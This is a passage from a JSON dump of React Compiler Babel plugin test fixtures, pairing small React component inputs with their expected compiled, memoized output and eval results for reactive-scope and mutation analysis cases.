}],\n  sequentialRenders: [{ cond: true }, { cond: false }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"cb\":{\"kind\":\"Function\",\"result\":1},\"shouldInvokeFns\":true}</div>\n<div>{\"cb\":{\"kind\":\"Function\",\"result\":2},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-ref.tsx",
    "content": "import {useRef} from 'react';\nimport {Stringify} from 'shared-runtime';\n\n/**\n * Fixture showing that Ref types may be reactive.\n * We should always take a dependency on ref values (the outer box) as\n * they may be reactive. Pruning should be done in\n * `pruneNonReactiveDependencies`\n */\nfunction Component({cond}) {\n  const ref1 = useRef(1);\n  const ref2 = useRef(2);\n  const ref = cond ? ref1 : ref2;\n  const cb = () => ref.current;\n  return <Stringify cb={cb} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true}],\n  sequentialRenders: [{cond: true}, {cond: false}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-scope-grouping.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  let x = {};\n  let y = [];\n  let z = {};\n  y.push(z);\n  x.y = y;\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo() {\n  const $ = _c(1);\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    x = {};\n    const y = [];\n    const z = {};\n    y.push(z);\n    x.y = y;\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"y\":[{}]}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-scope-grouping.js",
    "content": "function foo() {\n  let x = {};\n  let y = [];\n  let z = {};\n  y.push(z);\n  x.y = y;\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-scopes-if.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c) {\n  const x = [];\n  if (a) {\n    const y = [];\n    y.push(b);\n    x.push(<div>{y}</div>);\n  } else {\n    x.push(c);\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(a, b, c) {\n  const $ = _c(8);\n  let x;\n  if ($[0] !== a || $[1] !== b || $[2] !== c) {\n    x = [];\n    if (a) {\n      let y;\n      if ($[4] !== b) {\n        y = [];\n        y.push(b);\n        $[4] = b;\n        $[5] = y;\n      } else {\n        y = $[5];\n      }\n      let t0;\n      if ($[6] !== y) {\n        t0 = <div>{y}</div>;\n        $[6] = y;\n        $[7] = t0;\n      } else {\n        t0 = $[7];\n      }\n      x.push(t0);\n    } else {\n      x.push(c);\n    }\n    $[0] = a;\n    $[1] = b;\n    $[2] = c;\n    $[3] = x;\n  } else {\n    x = $[3];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-scopes-if.js",
    "content": "function foo(a, b, c) {\n  const x = [];\n  if (a) {\n    const y = [];\n    y.push(b);\n    x.push(<div>{y}</div>);\n  } else {\n    x.push(c);\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-scopes.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction f(a, b) {\n  let x = []; // <- x starts being mutable here.\n  if (a.length === 1) {\n    if (b) {\n      x.push(b); // <- x stops being mutable here.\n    }\n  }\n\n  return <div>{x}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: f,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction f(a, b) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] !== a.length || $[1] !== b) {\n    const x = [];\n    if (a.length === 1) {\n      if (b) {\n        x.push(b);\n      }\n    }\n    t0 = <div>{x}</div>;\n    $[0] = a.length;\n    $[1] = b;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: f,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-scopes.js",
    "content": "function f(a, b) {\n  let x = []; // <- x starts being mutable here.\n  if (a.length === 1) {\n    if (b) {\n      x.push(b); // <- x stops being mutable here.\n    }\n  }\n\n  return <div>{x}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: f,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-interleaved-reactivity.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  // a and b are technically independent, but their mutation is interleaved\n  // so they are grouped in a single reactive scope. a does not have any\n  // reactive inputs, but b does. therefore, we have to treat a as reactive,\n  // since it will be recreated based on a reactive input.\n  const a = {};\n  const b = [];\n  b.push(props.b);\n  a.a = null;\n\n  // because a may recreate when b does, it becomes reactive. we have to recreate\n  // c if a changes.\n  const c = [a];\n\n  // Example usage that could fail if we didn't treat a as reactive:\n  //  const [c, a] = Component({b: ...});\n  //  assert(c[0] === a);\n  return [c, a];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.b) {\n    const a = {};\n    const b = [];\n    b.push(props.b);\n    a.a = null;\n    const c = [a];\n    t0 = [c, a];\n    $[0] = props.b;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-interleaved-reactivity.js",
    "content": "function Component(props) {\n  // a and b are technically independent, but their mutation is interleaved\n  // so they are grouped in a single reactive scope. a does not have any\n  // reactive inputs, but b does. therefore, we have to treat a as reactive,\n  // since it will be recreated based on a reactive input.\n  const a = {};\n  const b = [];\n  b.push(props.b);\n  a.a = null;\n\n  // because a may recreate when b does, it becomes reactive. we have to recreate\n  // c if a changes.\n  const c = [a];\n\n  // Example usage that could fail if we didn't treat a as reactive:\n  //  const [c, a] = Component({b: ...});\n  //  assert(c[0] === a);\n  return [c, a];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-reactive-via-mutation-of-computed-load.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const items = bar();\n  mutate(items[props.key], props.a);\n\n  const count = foo(items.length + 1);\n\n  return {items, count};\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(8);\n  let items;\n  if ($[0] !== props.a || $[1] !== props.key) {\n    items = bar();\n    mutate(items[props.key], props.a);\n    $[0] = props.a;\n    $[1] = props.key;\n    $[2] = items;\n  } else {\n    items = $[2];\n  }\n\n  const t0 = items.length + 1;\n  let t1;\n  if ($[3] !== t0) {\n    t1 = foo(t0);\n    $[3] = t0;\n    $[4] = t1;\n  } else {\n    t1 = $[4];\n  }\n  const count = t1;\n  let t2;\n  if ($[5] !== count || $[6] !== items) {\n    t2 = { items, count };\n    $[5] = count;\n    $[6] = items;\n    $[7] = t2;\n  } else {\n    t2 = $[7];\n  }\n  return t2;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-reactive-via-mutation-of-computed-load.js",
    "content": "function Component(props) {\n  const items = bar();\n  mutate(items[props.key], props.a);\n\n  const count = foo(items.length + 1);\n\n  return {items, count};\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-reactive-via-mutation-of-property-load.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const items = bar();\n  mutate(items.a, props.a);\n\n  const count = foo(items.length + 1);\n\n  return {items, count};\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(7);\n  let items;\n  if ($[0] !== props.a) {\n    items = bar();\n    mutate(items.a, props.a);\n    $[0] = props.a;\n    $[1] = items;\n  } else {\n    items = $[1];\n  }\n\n  const t0 = items.length + 1;\n  let t1;\n  if ($[2] !== t0) {\n    t1 = foo(t0);\n    $[2] = t0;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  const count = t1;\n  let t2;\n  if ($[4] !== count || $[5] !== items) {\n    t2 = { items, count };\n    $[4] = count;\n    $[5] = items;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  return t2;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-analysis-reactive-via-mutation-of-property-load.js",
    "content": "function Component(props) {\n  const items = bar();\n  mutate(items.a, props.a);\n\n  const count = foo(items.length + 1);\n\n  return {items, count};\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-array.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = [];\n  const y = x;\n  y.push(props.input);\n\n  return [x[0]];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {input: 42},\n    {input: 42},\n    {input: 'sathya'},\n    {input: 'sathya'},\n    {input: 42},\n    {input: 'sathya'},\n    {input: 42},\n    {input: 'sathya'},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== props.input) {\n    x = [];\n    const y = x;\n    y.push(props.input);\n    $[0] = props.input;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  let t0;\n  if ($[2] !== x[0]) {\n    t0 = [x[0]];\n    $[2] = x[0];\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    { input: 42 },\n    { input: 42 },\n    { input: \"sathya\" },\n    { input: \"sathya\" },\n    { input: 42 },\n    { input: \"sathya\" },\n    { input: 42 },\n    { input: \"sathya\" },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [42]\n[42]\n[\"sathya\"]\n[\"sathya\"]\n[42]\n[\"sathya\"]\n[42]\n[\"sathya\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-array.js",
    "content": "function Component(props) {\n  const x = [];\n  const y = x;\n  y.push(props.input);\n\n  return [x[0]];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {input: 42},\n    {input: 42},\n    {input: 'sathya'},\n    {input: 'sathya'},\n    {input: 42},\n    {input: 'sathya'},\n    {input: 42},\n    {input: 'sathya'},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-lambda.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = [];\n  const f = arg => {\n    const y = x;\n    y.push(arg);\n  };\n  f(props.input);\n\n  return [x[0]];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {input: 42},\n    {input: 42},\n    {input: 'sathya'},\n    {input: 'sathya'},\n    {input: 42},\n    {input: 'sathya'},\n    {input: 42},\n    {input: 'sathya'},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== props.input) {\n    x = [];\n    const f = (arg) => {\n      const y = x;\n      y.push(arg);\n    };\n\n    f(props.input);\n    $[0] = props.input;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  let t0;\n  if ($[2] !== x[0]) {\n    t0 = [x[0]];\n    $[2] = x[0];\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    { input: 42 },\n    { input: 42 },\n    { input: \"sathya\" },\n    { input: \"sathya\" },\n    { input: 42 },\n    { input: \"sathya\" },\n    { input: 42 },\n    { input: \"sathya\" },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [42]\n[42]\n[\"sathya\"]\n[\"sathya\"]\n[42]\n[\"sathya\"]\n[42]\n[\"sathya\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-lambda.js",
    "content": "function Component(props) {\n  const x = [];\n  const f = arg => {\n    const y = x;\n    y.push(arg);\n  };\n  f(props.input);\n\n  return [x[0]];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {input: 42},\n    {input: 42},\n    {input: 'sathya'},\n    {input: 'sathya'},\n    {input: 42},\n    {input: 'sathya'},\n    {input: 42},\n    {input: 'sathya'},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-through-property-load.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = {};\n  const y = [];\n  x.y = y;\n  x.y.push(props.input);\n\n  let z = 0;\n  if (x.y[0]) {\n    z = 1;\n  }\n\n  return [z];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {input: true},\n    {input: true},\n    {input: false},\n    {input: false},\n    {input: true},\n    {input: false},\n    {input: true},\n    {input: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  const x = {};\n  const y = [];\n  x.y = y;\n  x.y.push(props.input);\n\n  let z = 0;\n  if (x.y[0]) {\n    z = 1;\n  }\n  let t0;\n  if ($[0] !== z) {\n    t0 = [z];\n    $[0] = z;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    { input: true },\n    { input: true },\n    { input: false },\n    { input: false },\n    { input: true },\n    { input: false },\n    { input: true },\n    { input: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [1]\n[1]\n[0]\n[0]\n[1]\n[0]\n[1]\n[0]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-aliased-mutation-through-property-load.js",
    "content": "function Component(props) {\n  const x = {};\n  const y = [];\n  x.y = y;\n  x.y.push(props.input);\n\n  let z = 0;\n  if (x.y[0]) {\n    z = 1;\n  }\n\n  return [z];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {input: true},\n    {input: true},\n    {input: false},\n    {input: false},\n    {input: true},\n    {input: false},\n    {input: true},\n    {input: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-readonly-alias-of-mutable-value.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = [];\n  const y = x;\n\n  // y isn't reactive yet when we first visit this, so z is initially non-reactive\n  const z = [y];\n\n  // then we realize y is reactive. we need a fixpoint to propagate this back to z\n  y.push(props.input);\n\n  // PruneNonReactiveDependencies partially propagates reactivity (for now) which\n  // we bypass with an indirection of storing into another variable\n  const a = [z];\n\n  // b's value is conditional on `a`, which is reactive per above\n  let b = 0;\n  if (a[0][0][0] === 42) {\n    b = 1;\n  }\n\n  return [b];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {input: 42},\n    {input: 42},\n    {input: 'sathya'},\n    {input: 'sathya'},\n    {input: 42},\n    {input: 'sathya'},\n    {input: 42},\n    {input: 'sathya'},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  const x = [];\n  const y = x;\n\n  const z = [y];\n\n  y.push(props.input);\n\n  const a = [z];\n\n  let b = 0;\n  if (a[0][0][0] === 42) {\n    b = 1;\n  }\n  let t0;\n  if ($[0] !== b) {\n    t0 = [b];\n    $[0] = b;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    { input: 42 },\n    { input: 42 },\n    { input: \"sathya\" },\n    { input: \"sathya\" },\n    { input: 42 },\n    { input: \"sathya\" },\n    { input: 42 },\n    { input: \"sathya\" },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [1]\n[1]\n[0]\n[0]\n[1]\n[0]\n[1]\n[0]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactivity-via-readonly-alias-of-mutable-value.js",
    "content": "function Component(props) {\n  const x = [];\n  const y = x;\n\n  // y isn't reactive yet when we first visit this, so z is initially non-reactive\n  const z = [y];\n\n  // then we realize y is reactive. we need a fixpoint to propagate this back to z\n  y.push(props.input);\n\n  // PruneNonReactiveDependencies partially propagates reactivity (for now) which\n  // we bypass with an indirection of storing into another variable\n  const a = [z];\n\n  // b's value is conditional on `a`, which is reactive per above\n  let b = 0;\n  if (a[0][0][0] === 42) {\n    b = 1;\n  }\n\n  return [b];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {input: 42},\n    {input: 42},\n    {input: 'sathya'},\n    {input: 'sathya'},\n    {input: 42},\n    {input: 'sathya'},\n    {input: 42},\n    {input: 'sathya'},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/readonly-object-method-calls-mutable-lambda.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useFragment} from 'shared-runtime';\n\nfunction Component(props) {\n  const x = makeObject();\n  const user = useFragment(\n    graphql`\n      fragment Component_user on User {\n        name\n      }\n    `,\n    props.user\n  );\n  const posts = user.timeline.posts.edges.nodes.map(node => {\n    x.y = true;\n    return <Post post={node} />;\n  });\n  posts.push({});\n  const count = posts.length;\n  foo(count);\n  return <>{posts}</>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useFragment } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(3);\n  const x = makeObject();\n  const user = useFragment(\n    graphql`\n      fragment Component_user on User {\n        name\n      }\n    `,\n    props.user,\n  );\n  const posts = user.timeline.posts.edges.nodes.map((node) => {\n    x.y = true;\n    return <Post post={node} />;\n  });\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = {};\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  posts.push(t0);\n  const count = posts.length;\n  foo(count);\n  let t1;\n  if ($[1] !== posts) {\n    t1 = <>{posts}</>;\n    $[1] = posts;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/readonly-object-method-calls-mutable-lambda.js",
    "content": "import {useFragment} from 'shared-runtime';\n\nfunction Component(props) {\n  const x = makeObject();\n  const user = useFragment(\n    graphql`\n      fragment Component_user on User {\n        name\n      }\n    `,\n    props.user\n  );\n  const posts = user.timeline.posts.edges.nodes.map(node => {\n    x.y = true;\n    return <Post post={node} />;\n  });\n  posts.push({});\n  const count = posts.length;\n  foo(count);\n  return <>{posts}</>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/readonly-object-method-calls.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useFragment} from 'shared-runtime';\n\nfunction Component(props) {\n  const user = useFragment(\n    graphql`\n      fragment Component_user on User {\n        name\n      }\n    `,\n    props.user\n  );\n  const posts = user.timeline.posts.edges.nodes.map(node => (\n    <Post post={node} />\n  ));\n  posts.push({});\n  const count = posts.length;\n  foo(count);\n  return <>{posts}</>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useFragment } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(5);\n  const user = useFragment(\n    graphql`\n      fragment Component_user on User {\n        name\n      }\n    `,\n    props.user,\n  );\n  let posts;\n  if ($[0] !== user.timeline.posts.edges.nodes) {\n    posts = user.timeline.posts.edges.nodes.map(_temp);\n    let t0;\n    if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      t0 = {};\n      $[2] = t0;\n    } else {\n      t0 = $[2];\n    }\n    posts.push(t0);\n    $[0] = user.timeline.posts.edges.nodes;\n    $[1] = posts;\n  } else {\n    posts = $[1];\n  }\n  const count = posts.length;\n  foo(count);\n  let t0;\n  if ($[3] !== posts) {\n    t0 = <>{posts}</>;\n    $[3] = posts;\n    $[4] = t0;\n  } else {\n    t0 = $[4];\n  }\n  return t0;\n}\nfunction _temp(node) {\n  return <Post post={node} />;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/readonly-object-method-calls.js",
    "content": "import {useFragment} from 'shared-runtime';\n\nfunction Component(props) {\n  const user = useFragment(\n    graphql`\n      fragment Component_user on User {\n        name\n      }\n    `,\n    props.user\n  );\n  const posts = user.timeline.posts.edges.nodes.map(node => (\n    <Post post={node} />\n  ));\n  posts.push({});\n  const count = posts.length;\n  foo(count);\n  return <>{posts}</>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reanimated-no-memo-arg.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableCustomTypeDefinitionForReanimated\nimport {useAnimatedProps, useSharedValue} from 'react-native-reanimated';\nfunction Component() {\n  const radius = useSharedValue(50);\n\n  const animatedProps = useAnimatedProps(() => {\n    // draw a circle\n    const path = `\n    M 100, 100\n    m -${radius.value}, 0\n    a ${radius.value},${radius.value} 0 1,0 ${radius.value * 2},0\n    a ${radius.value},${radius.value} 0 1,0 ${-radius.value * 2},0\n    `;\n    return {\n      d: path,\n    };\n  });\n\n  // attach animated props to an SVG path using animatedProps\n  return (\n    <Svg>\n      <AnimatedPath animatedProps={animatedProps} fill=\"black\" />\n    </Svg>\n  );\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableCustomTypeDefinitionForReanimated\nimport { useAnimatedProps, useSharedValue } from \"react-native-reanimated\";\nfunction Component() {\n  const $ = _c(2);\n  const radius = useSharedValue(50);\n\n  const animatedProps = useAnimatedProps(() => {\n    const path = `\n    M 100, 100\n    m -${radius.value}, 0\n    a ${radius.value},${radius.value} 0 1,0 ${radius.value * 2},0\n    a ${radius.value},${radius.value} 0 1,0 ${-radius.value * 2},0\n    `;\n    return { d: path };\n  });\n  let t0;\n  if ($[0] !== animatedProps) {\n    t0 = (\n      <Svg>\n        <AnimatedPath animatedProps={animatedProps} fill=\"black\" />\n      </Svg>\n    );\n    $[0] = animatedProps;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reanimated-no-memo-arg.js",
    "content": "// @enableCustomTypeDefinitionForReanimated\nimport {useAnimatedProps, useSharedValue} from 'react-native-reanimated';\nfunction Component() {\n  const radius = useSharedValue(50);\n\n  const animatedProps = useAnimatedProps(() => {\n    // draw a circle\n    const path = `\n    M 100, 100\n    m -${radius.value}, 0\n    a ${radius.value},${radius.value} 0 1,0 ${radius.value * 2},0\n    a ${radius.value},${radius.value} 0 1,0 ${-radius.value * 2},0\n    `;\n    return {\n      d: path,\n    };\n  });\n\n  // attach animated props to an SVG path using animatedProps\n  return (\n    <Svg>\n      <AnimatedPath animatedProps={animatedProps} fill=\"black\" />\n    </Svg>\n  );\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reanimated-shared-value-writes.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableCustomTypeDefinitionForReanimated\nimport {useSharedValue} from 'react-native-reanimated';\n\n/**\n * https://docs.swmansion.com/react-native-reanimated/docs/2.x/api/hooks/useSharedValue/\n *\n * Test that shared values are treated as ref-like, i.e. allowing writes outside\n * of render\n */\nfunction SomeComponent() {\n  const sharedVal = useSharedValue(0);\n  return (\n    <Button\n      onPress={() => (sharedVal.value = Math.random())}\n      title=\"Randomize\"\n    />\n  );\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableCustomTypeDefinitionForReanimated\nimport { useSharedValue } from \"react-native-reanimated\";\n\n/**\n * https://docs.swmansion.com/react-native-reanimated/docs/2.x/api/hooks/useSharedValue/\n *\n * Test that shared values are treated as ref-like, i.e. allowing writes outside\n * of render\n */\nfunction SomeComponent() {\n  const $ = _c(2);\n  const sharedVal = useSharedValue(0);\n  let t0;\n  if ($[0] !== sharedVal) {\n    t0 = (\n      <Button\n        onPress={() => (sharedVal.value = Math.random())}\n        title=\"Randomize\"\n      />\n    );\n    $[0] = sharedVal;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reanimated-shared-value-writes.jsx",
    "content": "// @enableCustomTypeDefinitionForReanimated\nimport {useSharedValue} from 'react-native-reanimated';\n\n/**\n * https://docs.swmansion.com/react-native-reanimated/docs/2.x/api/hooks/useSharedValue/\n *\n * Test that shared values are treated as ref-like, i.e. allowing writes outside\n * of render\n */\nfunction SomeComponent() {\n  const sharedVal = useSharedValue(0);\n  return (\n    <Button\n      onPress={() => (sharedVal.value = Math.random())}\n      title=\"Randomize\"\n    />\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-global-hook-arg.expect.md",
    "content": "\n## Input\n\n```javascript\nlet b = 1;\n\nexport default function MyApp() {\n  const fn = () => {\n    b = 2;\n  };\n  return useFoo(fn);\n}\n\nfunction useFoo(fn) {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: MyApp,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nlet b = 1;\n\nexport default function MyApp() {\n  const fn = _temp;\n\n  return useFoo(fn);\n}\nfunction _temp() {\n  b = 2;\n}\n\nfunction useFoo(fn) {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: MyApp,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-global-hook-arg.js",
    "content": "let b = 1;\n\nexport default function MyApp() {\n  const fn = () => {\n    b = 2;\n  };\n  return useFoo(fn);\n}\n\nfunction useFoo(fn) {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: MyApp,\n  params: [],\n};\n"
  },
  {
